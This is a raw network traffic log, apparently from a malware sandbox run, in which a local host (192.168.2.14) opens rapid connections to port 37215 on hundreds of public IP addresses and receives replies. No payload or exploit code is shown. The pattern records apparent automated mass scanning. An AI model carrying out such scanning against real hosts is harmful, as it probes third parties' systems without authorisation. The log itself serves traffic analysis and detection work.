Aug 1, 2024 15:35:02.382538080 CEST	47767	37215	192.168.2.14	41.48.193.211
Aug 1, 2024 15:35:02.382544994 CEST	47767	37215	192.168.2.14	197.107.167.217
Aug 1, 2024 15:35:02.382564068 CEST	47767	37215	192.168.2.14	65.13.47.250
Aug 1, 2024 15:35:02.382580042 CEST	47767	37215	192.168.2.14	197.35.8.68
Aug 1, 2024 15:35:02.382610083 CEST	47767	37215	192.168.2.14	77.192.249.112
Aug 1, 2024 15:35:02.382610083 CEST	47767	37215	192.168.2.14	73.21.252.58
Aug 1, 2024 15:35:02.382611036 CEST	47767	37215	192.168.2.14	157.56.47.71
Aug 1, 2024 15:35:02.382622957 CEST	47767	37215	192.168.2.14	41.245.108.58
Aug 1, 2024 15:35:02.382632017 CEST	47767	37215	192.168.2.14	197.78.47.137
Aug 1, 2024 15:35:02.382644892 CEST	47767	37215	192.168.2.14	197.191.48.137
Aug 1, 2024 15:35:02.382662058 CEST	47767	37215	192.168.2.14	41.250.32.77
Aug 1, 2024 15:35:02.382678986 CEST	47767	37215	192.168.2.14	197.61.52.70
Aug 1, 2024 15:35:02.382692099 CEST	47767	37215	192.168.2.14	41.230.147.54
Aug 1, 2024 15:35:02.382694960 CEST	47767	37215	192.168.2.14	197.143.85.180
Aug 1, 2024 15:35:02.382719994 CEST	47767	37215	192.168.2.14	197.105.11.229
Aug 1, 2024 15:35:02.382730007 CEST	47767	37215	192.168.2.14	41.60.242.214
Aug 1, 2024 15:35:02.382760048 CEST	47767	37215	192.168.2.14	157.18.42.87
Aug 1, 2024 15:35:02.382769108 CEST	47767	37215	192.168.2.14	41.127.130.164
Aug 1, 2024 15:35:02.382797956 CEST	47767	37215	192.168.2.14	157.234.29.142
Aug 1, 2024 15:35:02.382810116 CEST	47767	37215	192.168.2.14	197.168.43.146
Aug 1, 2024 15:35:02.382813931 CEST	47767	37215	192.168.2.14	197.249.71.78
Aug 1, 2024 15:35:02.382813931 CEST	47767	37215	192.168.2.14	197.46.57.167
Aug 1, 2024 15:35:02.382822990 CEST	47767	37215	192.168.2.14	91.221.195.110
Aug 1, 2024 15:35:02.382844925 CEST	47767	37215	192.168.2.14	157.168.38.77
Aug 1, 2024 15:35:02.382863998 CEST	47767	37215	192.168.2.14	197.146.94.194
Aug 1, 2024 15:35:02.382865906 CEST	47767	37215	192.168.2.14	110.1.25.78
Aug 1, 2024 15:35:02.382865906 CEST	47767	37215	192.168.2.14	197.14.248.172
Aug 1, 2024 15:35:02.382865906 CEST	47767	37215	192.168.2.14	195.80.61.99
Aug 1, 2024 15:35:02.382865906 CEST	47767	37215	192.168.2.14	41.107.72.169
Aug 1, 2024 15:35:02.382865906 CEST	47767	37215	192.168.2.14	157.77.9.215
Aug 1, 2024 15:35:02.382879019 CEST	47767	37215	192.168.2.14	41.223.145.18
Aug 1, 2024 15:35:02.382894993 CEST	47767	37215	192.168.2.14	41.236.67.197
Aug 1, 2024 15:35:02.382906914 CEST	47767	37215	192.168.2.14	157.188.206.253
Aug 1, 2024 15:35:02.382920027 CEST	47767	37215	192.168.2.14	197.103.191.143
Aug 1, 2024 15:35:02.382927895 CEST	47767	37215	192.168.2.14	41.227.238.96
Aug 1, 2024 15:35:02.382934093 CEST	47767	37215	192.168.2.14	157.250.81.146
Aug 1, 2024 15:35:02.382934093 CEST	47767	37215	192.168.2.14	197.196.212.30
Aug 1, 2024 15:35:02.382953882 CEST	47767	37215	192.168.2.14	41.243.226.167
Aug 1, 2024 15:35:02.382965088 CEST	47767	37215	192.168.2.14	59.188.94.86
Aug 1, 2024 15:35:02.382972956 CEST	47767	37215	192.168.2.14	41.255.80.40
Aug 1, 2024 15:35:02.382985115 CEST	47767	37215	192.168.2.14	41.112.115.55
Aug 1, 2024 15:35:02.382999897 CEST	47767	37215	192.168.2.14	41.13.165.185
Aug 1, 2024 15:35:02.383014917 CEST	47767	37215	192.168.2.14	192.61.59.227
Aug 1, 2024 15:35:02.383032084 CEST	47767	37215	192.168.2.14	133.183.219.165
Aug 1, 2024 15:35:02.383052111 CEST	47767	37215	192.168.2.14	41.208.67.181
Aug 1, 2024 15:35:02.383068085 CEST	47767	37215	192.168.2.14	157.127.147.66
Aug 1, 2024 15:35:02.383091927 CEST	47767	37215	192.168.2.14	157.165.169.4
Aug 1, 2024 15:35:02.383100033 CEST	47767	37215	192.168.2.14	121.94.122.207
Aug 1, 2024 15:35:02.383102894 CEST	47767	37215	192.168.2.14	41.114.35.247
Aug 1, 2024 15:35:02.383109093 CEST	47767	37215	192.168.2.14	41.110.48.156
Aug 1, 2024 15:35:02.383114100 CEST	47767	37215	192.168.2.14	157.94.195.9
Aug 1, 2024 15:35:02.383127928 CEST	47767	37215	192.168.2.14	157.87.81.47
Aug 1, 2024 15:35:02.383141994 CEST	47767	37215	192.168.2.14	54.76.82.163
Aug 1, 2024 15:35:02.383155107 CEST	47767	37215	192.168.2.14	181.59.36.204
Aug 1, 2024 15:35:02.383163929 CEST	47767	37215	192.168.2.14	17.67.66.155
Aug 1, 2024 15:35:02.383177996 CEST	47767	37215	192.168.2.14	157.99.144.87
Aug 1, 2024 15:35:02.383193016 CEST	47767	37215	192.168.2.14	197.161.129.15
Aug 1, 2024 15:35:02.383203983 CEST	47767	37215	192.168.2.14	205.74.172.6
Aug 1, 2024 15:35:02.383220911 CEST	47767	37215	192.168.2.14	126.138.178.246
Aug 1, 2024 15:35:02.383228064 CEST	47767	37215	192.168.2.14	157.40.109.5
Aug 1, 2024 15:35:02.383239985 CEST	47767	37215	192.168.2.14	157.102.94.87
Aug 1, 2024 15:35:02.383251905 CEST	47767	37215	192.168.2.14	84.100.238.151
Aug 1, 2024 15:35:02.383265018 CEST	47767	37215	192.168.2.14	157.17.46.103
Aug 1, 2024 15:35:02.383291960 CEST	47767	37215	192.168.2.14	41.86.99.12
Aug 1, 2024 15:35:02.383292913 CEST	47767	37215	192.168.2.14	41.73.159.182
Aug 1, 2024 15:35:02.383307934 CEST	47767	37215	192.168.2.14	157.236.215.117
Aug 1, 2024 15:35:02.383326054 CEST	47767	37215	192.168.2.14	197.29.77.78
Aug 1, 2024 15:35:02.383331060 CEST	47767	37215	192.168.2.14	41.102.95.15
Aug 1, 2024 15:35:02.383341074 CEST	47767	37215	192.168.2.14	41.96.209.158
Aug 1, 2024 15:35:02.383358002 CEST	47767	37215	192.168.2.14	157.107.118.248
Aug 1, 2024 15:35:02.383364916 CEST	47767	37215	192.168.2.14	157.82.211.43
Aug 1, 2024 15:35:02.383374929 CEST	47767	37215	192.168.2.14	157.170.93.86
Aug 1, 2024 15:35:02.383390903 CEST	47767	37215	192.168.2.14	102.195.35.74
Aug 1, 2024 15:35:02.383409023 CEST	47767	37215	192.168.2.14	41.76.225.133
Aug 1, 2024 15:35:02.383409023 CEST	47767	37215	192.168.2.14	160.110.35.137
Aug 1, 2024 15:35:02.383430004 CEST	47767	37215	192.168.2.14	41.118.193.152
Aug 1, 2024 15:35:02.383441925 CEST	47767	37215	192.168.2.14	197.174.236.178
Aug 1, 2024 15:35:02.383454084 CEST	47767	37215	192.168.2.14	157.240.174.132
Aug 1, 2024 15:35:02.383469105 CEST	47767	37215	192.168.2.14	193.130.152.119
Aug 1, 2024 15:35:02.383475065 CEST	47767	37215	192.168.2.14	48.154.71.246
Aug 1, 2024 15:35:02.383487940 CEST	47767	37215	192.168.2.14	41.9.184.73
Aug 1, 2024 15:35:02.383507013 CEST	47767	37215	192.168.2.14	157.1.194.211
Aug 1, 2024 15:35:02.383507013 CEST	47767	37215	192.168.2.14	41.23.15.184
Aug 1, 2024 15:35:02.383521080 CEST	47767	37215	192.168.2.14	157.90.7.240
Aug 1, 2024 15:35:02.383536100 CEST	47767	37215	192.168.2.14	157.240.6.243
Aug 1, 2024 15:35:02.383552074 CEST	47767	37215	192.168.2.14	52.80.19.230
Aug 1, 2024 15:35:02.383555889 CEST	47767	37215	192.168.2.14	157.23.2.165
Aug 1, 2024 15:35:02.383569956 CEST	47767	37215	192.168.2.14	157.230.32.53
Aug 1, 2024 15:35:02.383573055 CEST	47767	37215	192.168.2.14	197.234.130.104
Aug 1, 2024 15:35:02.383591890 CEST	47767	37215	192.168.2.14	157.39.26.7
Aug 1, 2024 15:35:02.383600950 CEST	47767	37215	192.168.2.14	41.52.71.71
Aug 1, 2024 15:35:02.383615017 CEST	47767	37215	192.168.2.14	197.230.161.95
Aug 1, 2024 15:35:02.383615017 CEST	47767	37215	192.168.2.14	157.228.135.138
Aug 1, 2024 15:35:02.383639097 CEST	47767	37215	192.168.2.14	197.131.12.203
Aug 1, 2024 15:35:02.383654118 CEST	47767	37215	192.168.2.14	197.179.171.197
Aug 1, 2024 15:35:02.383654118 CEST	47767	37215	192.168.2.14	197.150.71.151
Aug 1, 2024 15:35:02.383671999 CEST	47767	37215	192.168.2.14	197.173.193.19
Aug 1, 2024 15:35:02.383671999 CEST	47767	37215	192.168.2.14	197.250.217.168
Aug 1, 2024 15:35:02.383694887 CEST	47767	37215	192.168.2.14	208.9.6.223
Aug 1, 2024 15:35:02.383694887 CEST	47767	37215	192.168.2.14	91.199.202.44
Aug 1, 2024 15:35:02.383711100 CEST	47767	37215	192.168.2.14	41.198.135.155
Aug 1, 2024 15:35:02.383723021 CEST	47767	37215	192.168.2.14	41.27.191.212
Aug 1, 2024 15:35:02.383733988 CEST	47767	37215	192.168.2.14	41.98.190.15
Aug 1, 2024 15:35:02.383750916 CEST	47767	37215	192.168.2.14	197.247.74.47
Aug 1, 2024 15:35:02.383750916 CEST	47767	37215	192.168.2.14	197.58.245.106
Aug 1, 2024 15:35:02.383765936 CEST	47767	37215	192.168.2.14	70.195.214.160
Aug 1, 2024 15:35:02.383784056 CEST	47767	37215	192.168.2.14	197.60.46.117
Aug 1, 2024 15:35:02.383799076 CEST	47767	37215	192.168.2.14	41.219.250.190
Aug 1, 2024 15:35:02.383821964 CEST	47767	37215	192.168.2.14	197.60.95.14
Aug 1, 2024 15:35:02.383833885 CEST	47767	37215	192.168.2.14	41.93.137.62
Aug 1, 2024 15:35:02.383845091 CEST	47767	37215	192.168.2.14	41.103.196.77
Aug 1, 2024 15:35:02.383858919 CEST	47767	37215	192.168.2.14	197.249.110.186
Aug 1, 2024 15:35:02.383865118 CEST	47767	37215	192.168.2.14	197.16.179.65
Aug 1, 2024 15:35:02.383877993 CEST	47767	37215	192.168.2.14	197.162.50.166
Aug 1, 2024 15:35:02.383894920 CEST	47767	37215	192.168.2.14	94.18.39.100
Aug 1, 2024 15:35:02.383910894 CEST	47767	37215	192.168.2.14	197.113.42.197
Aug 1, 2024 15:35:02.383929968 CEST	47767	37215	192.168.2.14	41.194.35.252
Aug 1, 2024 15:35:02.383936882 CEST	47767	37215	192.168.2.14	68.87.172.13
Aug 1, 2024 15:35:02.383953094 CEST	47767	37215	192.168.2.14	157.105.230.24
Aug 1, 2024 15:35:02.383966923 CEST	47767	37215	192.168.2.14	41.13.145.27
Aug 1, 2024 15:35:02.383969069 CEST	47767	37215	192.168.2.14	109.210.109.52
Aug 1, 2024 15:35:02.384501934 CEST	55252	37215	192.168.2.14	197.85.236.187
Aug 1, 2024 15:35:02.385092974 CEST	47720	37215	192.168.2.14	41.60.234.106
Aug 1, 2024 15:35:02.385238886 CEST	37215	47767	157.104.23.222	192.168.2.14
Aug 1, 2024 15:35:02.385265112 CEST	37215	47767	197.61.203.144	192.168.2.14
Aug 1, 2024 15:35:02.385282040 CEST	37215	47767	41.204.30.100	192.168.2.14
Aug 1, 2024 15:35:02.385289907 CEST	47767	37215	192.168.2.14	157.104.23.222
Aug 1, 2024 15:35:02.385302067 CEST	37215	47767	157.228.12.78	192.168.2.14
Aug 1, 2024 15:35:02.385313988 CEST	37215	47767	157.63.105.232	192.168.2.14
Aug 1, 2024 15:35:02.385324001 CEST	47767	37215	192.168.2.14	41.204.30.100
Aug 1, 2024 15:35:02.385325909 CEST	47767	37215	192.168.2.14	197.61.203.144
Aug 1, 2024 15:35:02.385325909 CEST	37215	47767	197.19.243.74	192.168.2.14
Aug 1, 2024 15:35:02.385339022 CEST	47767	37215	192.168.2.14	157.228.12.78
Aug 1, 2024 15:35:02.385348082 CEST	47767	37215	192.168.2.14	157.63.105.232
Aug 1, 2024 15:35:02.385350943 CEST	37215	47767	197.162.58.85	192.168.2.14
Aug 1, 2024 15:35:02.385363102 CEST	37215	47767	92.107.210.182	192.168.2.14
Aug 1, 2024 15:35:02.385365963 CEST	47767	37215	192.168.2.14	197.19.243.74
Aug 1, 2024 15:35:02.385374069 CEST	37215	47767	197.72.161.187	192.168.2.14
Aug 1, 2024 15:35:02.385385990 CEST	37215	47767	41.123.101.56	192.168.2.14
Aug 1, 2024 15:35:02.385390997 CEST	47767	37215	192.168.2.14	197.162.58.85
Aug 1, 2024 15:35:02.385392904 CEST	47767	37215	192.168.2.14	92.107.210.182
Aug 1, 2024 15:35:02.385397911 CEST	37215	47767	157.108.42.79	192.168.2.14
Aug 1, 2024 15:35:02.385410070 CEST	37215	47767	157.110.136.248	192.168.2.14
Aug 1, 2024 15:35:02.385421038 CEST	37215	47767	41.82.36.191	192.168.2.14
Aug 1, 2024 15:35:02.385421038 CEST	47767	37215	192.168.2.14	41.123.101.56
Aug 1, 2024 15:35:02.385420084 CEST	47767	37215	192.168.2.14	197.72.161.187
Aug 1, 2024 15:35:02.385440111 CEST	47767	37215	192.168.2.14	157.108.42.79
Aug 1, 2024 15:35:02.385441065 CEST	37215	47767	52.98.244.38	192.168.2.14
Aug 1, 2024 15:35:02.385451078 CEST	47767	37215	192.168.2.14	157.110.136.248
Aug 1, 2024 15:35:02.385458946 CEST	47767	37215	192.168.2.14	41.82.36.191
Aug 1, 2024 15:35:02.385462046 CEST	37215	47767	41.60.115.30	192.168.2.14
Aug 1, 2024 15:35:02.385474920 CEST	37215	47767	41.233.91.18	192.168.2.14
Aug 1, 2024 15:35:02.385477066 CEST	47767	37215	192.168.2.14	52.98.244.38
Aug 1, 2024 15:35:02.385499954 CEST	47767	37215	192.168.2.14	41.60.115.30
Aug 1, 2024 15:35:02.385512114 CEST	47767	37215	192.168.2.14	41.233.91.18
Aug 1, 2024 15:35:02.385787964 CEST	53124	37215	192.168.2.14	45.247.103.17
Aug 1, 2024 15:35:02.385932922 CEST	37215	47767	157.133.235.255	192.168.2.14
Aug 1, 2024 15:35:02.385945082 CEST	37215	47767	48.177.48.197	192.168.2.14
Aug 1, 2024 15:35:02.385957003 CEST	37215	47767	157.216.73.78	192.168.2.14
Aug 1, 2024 15:35:02.385971069 CEST	37215	47767	41.76.178.117	192.168.2.14
Aug 1, 2024 15:35:02.385971069 CEST	47767	37215	192.168.2.14	157.133.235.255
Aug 1, 2024 15:35:02.385976076 CEST	47767	37215	192.168.2.14	48.177.48.197
Aug 1, 2024 15:35:02.385984898 CEST	37215	47767	41.245.187.20	192.168.2.14
Aug 1, 2024 15:35:02.385996103 CEST	47767	37215	192.168.2.14	157.216.73.78
Aug 1, 2024 15:35:02.385997057 CEST	37215	47767	157.135.86.193	192.168.2.14
Aug 1, 2024 15:35:02.386003017 CEST	47767	37215	192.168.2.14	41.76.178.117
Aug 1, 2024 15:35:02.386015892 CEST	47767	37215	192.168.2.14	41.245.187.20
Aug 1, 2024 15:35:02.386018991 CEST	37215	47767	41.121.134.26	192.168.2.14
Aug 1, 2024 15:35:02.386032104 CEST	47767	37215	192.168.2.14	157.135.86.193
Aug 1, 2024 15:35:02.386032104 CEST	37215	47767	157.6.244.123	192.168.2.14
Aug 1, 2024 15:35:02.386044979 CEST	37215	47767	157.144.19.126	192.168.2.14
Aug 1, 2024 15:35:02.386053085 CEST	47767	37215	192.168.2.14	41.121.134.26
Aug 1, 2024 15:35:02.386056900 CEST	37215	47767	41.81.148.72	192.168.2.14
Aug 1, 2024 15:35:02.386070013 CEST	37215	47767	197.221.225.238	192.168.2.14
Aug 1, 2024 15:35:02.386074066 CEST	47767	37215	192.168.2.14	157.6.244.123
Aug 1, 2024 15:35:02.386075974 CEST	47767	37215	192.168.2.14	157.144.19.126
Aug 1, 2024 15:35:02.386080980 CEST	37215	47767	197.83.102.77	192.168.2.14
Aug 1, 2024 15:35:02.386095047 CEST	37215	47767	41.255.51.220	192.168.2.14
Aug 1, 2024 15:35:02.386101961 CEST	47767	37215	192.168.2.14	41.81.148.72
Aug 1, 2024 15:35:02.386106014 CEST	47767	37215	192.168.2.14	197.221.225.238
Aug 1, 2024 15:35:02.386107922 CEST	37215	47767	176.42.3.170	192.168.2.14
Aug 1, 2024 15:35:02.386121035 CEST	47767	37215	192.168.2.14	197.83.102.77
Aug 1, 2024 15:35:02.386121988 CEST	37215	47767	157.124.113.232	192.168.2.14
Aug 1, 2024 15:35:02.386126041 CEST	47767	37215	192.168.2.14	41.255.51.220
Aug 1, 2024 15:35:02.386132956 CEST	47767	37215	192.168.2.14	176.42.3.170
Aug 1, 2024 15:35:02.386137009 CEST	37215	47767	157.203.101.5	192.168.2.14
Aug 1, 2024 15:35:02.386148930 CEST	37215	47767	41.52.236.186	192.168.2.14
Aug 1, 2024 15:35:02.386159897 CEST	37215	47767	41.161.164.116	192.168.2.14
Aug 1, 2024 15:35:02.386164904 CEST	47767	37215	192.168.2.14	157.124.113.232
Aug 1, 2024 15:35:02.386171103 CEST	47767	37215	192.168.2.14	157.203.101.5
Aug 1, 2024 15:35:02.386172056 CEST	37215	47767	41.5.215.158	192.168.2.14
Aug 1, 2024 15:35:02.386183977 CEST	37215	47767	197.224.223.139	192.168.2.14
Aug 1, 2024 15:35:02.386185884 CEST	47767	37215	192.168.2.14	41.52.236.186
Aug 1, 2024 15:35:02.386185884 CEST	47767	37215	192.168.2.14	41.161.164.116
Aug 1, 2024 15:35:02.386193991 CEST	37215	47767	70.152.111.164	192.168.2.14
Aug 1, 2024 15:35:02.386207104 CEST	37215	47767	41.41.200.151	192.168.2.14
Aug 1, 2024 15:35:02.386219978 CEST	47767	37215	192.168.2.14	41.5.215.158
Aug 1, 2024 15:35:02.386224031 CEST	47767	37215	192.168.2.14	197.224.223.139
Aug 1, 2024 15:35:02.386238098 CEST	47767	37215	192.168.2.14	41.41.200.151
Aug 1, 2024 15:35:02.386240959 CEST	47767	37215	192.168.2.14	70.152.111.164
Aug 1, 2024 15:35:02.386436939 CEST	50216	37215	192.168.2.14	41.3.105.248
Aug 1, 2024 15:35:02.386996031 CEST	39812	37215	192.168.2.14	88.246.104.3
Aug 1, 2024 15:35:02.387139082 CEST	37215	47767	197.152.50.39	192.168.2.14
Aug 1, 2024 15:35:02.387151003 CEST	37215	47767	129.245.238.61	192.168.2.14
Aug 1, 2024 15:35:02.387164116 CEST	37215	47767	41.167.4.59	192.168.2.14
Aug 1, 2024 15:35:02.387175083 CEST	37215	47767	41.146.71.72	192.168.2.14
Aug 1, 2024 15:35:02.387178898 CEST	47767	37215	192.168.2.14	197.152.50.39
Aug 1, 2024 15:35:02.387180090 CEST	47767	37215	192.168.2.14	129.245.238.61
Aug 1, 2024 15:35:02.387206078 CEST	47767	37215	192.168.2.14	41.146.71.72
Aug 1, 2024 15:35:02.387207031 CEST	47767	37215	192.168.2.14	41.167.4.59
Aug 1, 2024 15:35:02.387228012 CEST	37215	47767	157.188.44.62	192.168.2.14
Aug 1, 2024 15:35:02.387240887 CEST	37215	47767	157.57.250.16	192.168.2.14
Aug 1, 2024 15:35:02.387252092 CEST	37215	47767	197.15.252.68	192.168.2.14
Aug 1, 2024 15:35:02.387269974 CEST	47767	37215	192.168.2.14	157.188.44.62
Aug 1, 2024 15:35:02.387270927 CEST	37215	47767	157.185.224.49	192.168.2.14
Aug 1, 2024 15:35:02.387274981 CEST	47767	37215	192.168.2.14	157.57.250.16
Aug 1, 2024 15:35:02.387281895 CEST	37215	47767	134.73.202.32	192.168.2.14
Aug 1, 2024 15:35:02.387284994 CEST	47767	37215	192.168.2.14	197.15.252.68
Aug 1, 2024 15:35:02.387291908 CEST	37215	47767	41.207.3.1	192.168.2.14
Aug 1, 2024 15:35:02.387305975 CEST	47767	37215	192.168.2.14	157.185.224.49
Aug 1, 2024 15:35:02.387310982 CEST	47767	37215	192.168.2.14	134.73.202.32
Aug 1, 2024 15:35:02.387319088 CEST	47767	37215	192.168.2.14	41.207.3.1
Aug 1, 2024 15:35:02.387327909 CEST	37215	47767	197.137.175.193	192.168.2.14
Aug 1, 2024 15:35:02.387341976 CEST	37215	47767	41.227.67.251	192.168.2.14
Aug 1, 2024 15:35:02.387356043 CEST	37215	47767	197.226.146.137	192.168.2.14
Aug 1, 2024 15:35:02.387370110 CEST	47767	37215	192.168.2.14	197.137.175.193
Aug 1, 2024 15:35:02.387373924 CEST	37215	47767	197.107.4.204	192.168.2.14
Aug 1, 2024 15:35:02.387379885 CEST	47767	37215	192.168.2.14	41.227.67.251
Aug 1, 2024 15:35:02.387391090 CEST	37215	47767	197.147.20.111	192.168.2.14
Aug 1, 2024 15:35:02.387392998 CEST	47767	37215	192.168.2.14	197.226.146.137
Aug 1, 2024 15:35:02.387402058 CEST	37215	47767	41.29.123.19	192.168.2.14
Aug 1, 2024 15:35:02.387408018 CEST	47767	37215	192.168.2.14	197.107.4.204
Aug 1, 2024 15:35:02.387423038 CEST	37215	47767	197.217.196.205	192.168.2.14
Aug 1, 2024 15:35:02.387428045 CEST	47767	37215	192.168.2.14	197.147.20.111
Aug 1, 2024 15:35:02.387428045 CEST	47767	37215	192.168.2.14	41.29.123.19
Aug 1, 2024 15:35:02.387434959 CEST	37215	47767	157.255.17.13	192.168.2.14
Aug 1, 2024 15:35:02.387444973 CEST	37215	47767	41.60.234.4	192.168.2.14
Aug 1, 2024 15:35:02.387455940 CEST	37215	47767	41.186.91.58	192.168.2.14
Aug 1, 2024 15:35:02.387464046 CEST	47767	37215	192.168.2.14	157.255.17.13
Aug 1, 2024 15:35:02.387468100 CEST	37215	47767	157.39.12.226	192.168.2.14
Aug 1, 2024 15:35:02.387468100 CEST	47767	37215	192.168.2.14	197.217.196.205
Aug 1, 2024 15:35:02.387479067 CEST	47767	37215	192.168.2.14	41.60.234.4
Aug 1, 2024 15:35:02.387481928 CEST	37215	47767	157.3.132.105	192.168.2.14
Aug 1, 2024 15:35:02.387486935 CEST	47767	37215	192.168.2.14	41.186.91.58
Aug 1, 2024 15:35:02.387492895 CEST	37215	47767	197.46.125.11	192.168.2.14
Aug 1, 2024 15:35:02.387501955 CEST	47767	37215	192.168.2.14	157.39.12.226
Aug 1, 2024 15:35:02.387502909 CEST	37215	47767	41.127.59.52	192.168.2.14
Aug 1, 2024 15:35:02.387512922 CEST	37215	47767	14.125.38.117	192.168.2.14
Aug 1, 2024 15:35:02.387512922 CEST	47767	37215	192.168.2.14	157.3.132.105
Aug 1, 2024 15:35:02.387522936 CEST	37215	47767	157.220.148.155	192.168.2.14
Aug 1, 2024 15:35:02.387522936 CEST	47767	37215	192.168.2.14	197.46.125.11
Aug 1, 2024 15:35:02.387533903 CEST	47767	37215	192.168.2.14	41.127.59.52
Aug 1, 2024 15:35:02.387535095 CEST	37215	47767	41.199.101.12	192.168.2.14
Aug 1, 2024 15:35:02.387548923 CEST	37215	47767	146.152.226.84	192.168.2.14
Aug 1, 2024 15:35:02.387554884 CEST	47767	37215	192.168.2.14	14.125.38.117
Aug 1, 2024 15:35:02.387558937 CEST	47767	37215	192.168.2.14	157.220.148.155
Aug 1, 2024 15:35:02.387558937 CEST	37215	47767	157.199.204.232	192.168.2.14
Aug 1, 2024 15:35:02.387563944 CEST	47767	37215	192.168.2.14	41.199.101.12
Aug 1, 2024 15:35:02.387568951 CEST	37215	47767	197.63.128.188	192.168.2.14
Aug 1, 2024 15:35:02.387573004 CEST	37215	47767	157.189.102.253	192.168.2.14
Aug 1, 2024 15:35:02.387584925 CEST	47767	37215	192.168.2.14	197.63.128.188
Aug 1, 2024 15:35:02.387592077 CEST	47767	37215	192.168.2.14	146.152.226.84
Aug 1, 2024 15:35:02.387593031 CEST	37215	47767	142.212.228.50	192.168.2.14
Aug 1, 2024 15:35:02.387603998 CEST	47767	37215	192.168.2.14	157.199.204.232
Aug 1, 2024 15:35:02.387603998 CEST	47767	37215	192.168.2.14	157.189.102.253
Aug 1, 2024 15:35:02.387618065 CEST	37215	47767	197.163.191.199	192.168.2.14
Aug 1, 2024 15:35:02.387626886 CEST	32986	37215	192.168.2.14	17.232.220.48
Aug 1, 2024 15:35:02.387628078 CEST	37215	47767	122.133.66.41	192.168.2.14
Aug 1, 2024 15:35:02.387634039 CEST	47767	37215	192.168.2.14	142.212.228.50
Aug 1, 2024 15:35:02.387639046 CEST	37215	47767	99.0.188.200	192.168.2.14
Aug 1, 2024 15:35:02.387649059 CEST	37215	47767	41.33.42.124	192.168.2.14
Aug 1, 2024 15:35:02.387655020 CEST	47767	37215	192.168.2.14	197.163.191.199
Aug 1, 2024 15:35:02.387655020 CEST	47767	37215	192.168.2.14	122.133.66.41
Aug 1, 2024 15:35:02.387658119 CEST	37215	47767	157.76.104.45	192.168.2.14
Aug 1, 2024 15:35:02.387670040 CEST	37215	47767	41.184.217.106	192.168.2.14
Aug 1, 2024 15:35:02.387671947 CEST	47767	37215	192.168.2.14	99.0.188.200
Aug 1, 2024 15:35:02.387680054 CEST	37215	47767	41.30.140.106	192.168.2.14
Aug 1, 2024 15:35:02.387681007 CEST	47767	37215	192.168.2.14	41.33.42.124
Aug 1, 2024 15:35:02.387691021 CEST	37215	47767	41.16.22.183	192.168.2.14
Aug 1, 2024 15:35:02.387695074 CEST	47767	37215	192.168.2.14	157.76.104.45
Aug 1, 2024 15:35:02.387695074 CEST	47767	37215	192.168.2.14	41.184.217.106
Aug 1, 2024 15:35:02.387700081 CEST	37215	47767	41.139.168.103	192.168.2.14
Aug 1, 2024 15:35:02.387710094 CEST	37215	47767	41.152.33.250	192.168.2.14
Aug 1, 2024 15:35:02.387711048 CEST	47767	37215	192.168.2.14	41.30.140.106
Aug 1, 2024 15:35:02.387722015 CEST	47767	37215	192.168.2.14	41.16.22.183
Aug 1, 2024 15:35:02.387733936 CEST	47767	37215	192.168.2.14	41.139.168.103
Aug 1, 2024 15:35:02.387741089 CEST	37215	47767	41.25.105.182	192.168.2.14
Aug 1, 2024 15:35:02.387748003 CEST	47767	37215	192.168.2.14	41.152.33.250
Aug 1, 2024 15:35:02.387752056 CEST	37215	47767	100.186.185.118	192.168.2.14
Aug 1, 2024 15:35:02.387761116 CEST	37215	47767	157.216.103.191	192.168.2.14
Aug 1, 2024 15:35:02.387770891 CEST	37215	47767	197.217.1.193	192.168.2.14
Aug 1, 2024 15:35:02.387782097 CEST	47767	37215	192.168.2.14	41.25.105.182
Aug 1, 2024 15:35:02.387784004 CEST	37215	47767	197.181.97.253	192.168.2.14
Aug 1, 2024 15:35:02.387788057 CEST	47767	37215	192.168.2.14	100.186.185.118
Aug 1, 2024 15:35:02.387788057 CEST	47767	37215	192.168.2.14	157.216.103.191
Aug 1, 2024 15:35:02.387805939 CEST	47767	37215	192.168.2.14	197.217.1.193
Aug 1, 2024 15:35:02.387821913 CEST	47767	37215	192.168.2.14	197.181.97.253
Aug 1, 2024 15:35:02.387840986 CEST	37215	47767	197.172.141.169	192.168.2.14
Aug 1, 2024 15:35:02.387855053 CEST	37215	47767	157.148.245.212	192.168.2.14
Aug 1, 2024 15:35:02.387883902 CEST	47767	37215	192.168.2.14	197.172.141.169
Aug 1, 2024 15:35:02.387887001 CEST	47767	37215	192.168.2.14	157.148.245.212
Aug 1, 2024 15:35:02.387940884 CEST	37215	47767	157.5.14.0	192.168.2.14
Aug 1, 2024 15:35:02.387952089 CEST	37215	47767	197.76.12.148	192.168.2.14
Aug 1, 2024 15:35:02.387964964 CEST	37215	47767	157.213.172.71	192.168.2.14
Aug 1, 2024 15:35:02.387974977 CEST	47767	37215	192.168.2.14	157.5.14.0
Aug 1, 2024 15:35:02.387976885 CEST	37215	47767	197.112.136.44	192.168.2.14
Aug 1, 2024 15:35:02.387988091 CEST	37215	47767	2.218.107.100	192.168.2.14
Aug 1, 2024 15:35:02.387990952 CEST	47767	37215	192.168.2.14	197.76.12.148
Aug 1, 2024 15:35:02.388000011 CEST	37215	47767	41.5.142.73	192.168.2.14
Aug 1, 2024 15:35:02.388000965 CEST	47767	37215	192.168.2.14	157.213.172.71
Aug 1, 2024 15:35:02.388008118 CEST	47767	37215	192.168.2.14	197.112.136.44
Aug 1, 2024 15:35:02.388011932 CEST	37215	47767	41.93.59.199	192.168.2.14
Aug 1, 2024 15:35:02.388024092 CEST	37215	47767	62.184.99.163	192.168.2.14
Aug 1, 2024 15:35:02.388022900 CEST	47767	37215	192.168.2.14	2.218.107.100
Aug 1, 2024 15:35:02.388031960 CEST	47767	37215	192.168.2.14	41.5.142.73
Aug 1, 2024 15:35:02.388035059 CEST	37215	47767	157.184.17.18	192.168.2.14
Aug 1, 2024 15:35:02.388048887 CEST	47767	37215	192.168.2.14	41.93.59.199
Aug 1, 2024 15:35:02.388053894 CEST	47767	37215	192.168.2.14	62.184.99.163
Aug 1, 2024 15:35:02.388058901 CEST	37215	47767	157.213.249.59	192.168.2.14
Aug 1, 2024 15:35:02.388070107 CEST	47767	37215	192.168.2.14	157.184.17.18
Aug 1, 2024 15:35:02.388071060 CEST	37215	47767	157.168.135.45	192.168.2.14
Aug 1, 2024 15:35:02.388082981 CEST	37215	47767	157.169.187.99	192.168.2.14
Aug 1, 2024 15:35:02.388101101 CEST	47767	37215	192.168.2.14	157.168.135.45
Aug 1, 2024 15:35:02.388103008 CEST	47767	37215	192.168.2.14	157.213.249.59
Aug 1, 2024 15:35:02.388106108 CEST	37215	47767	212.152.191.232	192.168.2.14
Aug 1, 2024 15:35:02.388108015 CEST	47767	37215	192.168.2.14	157.169.187.99
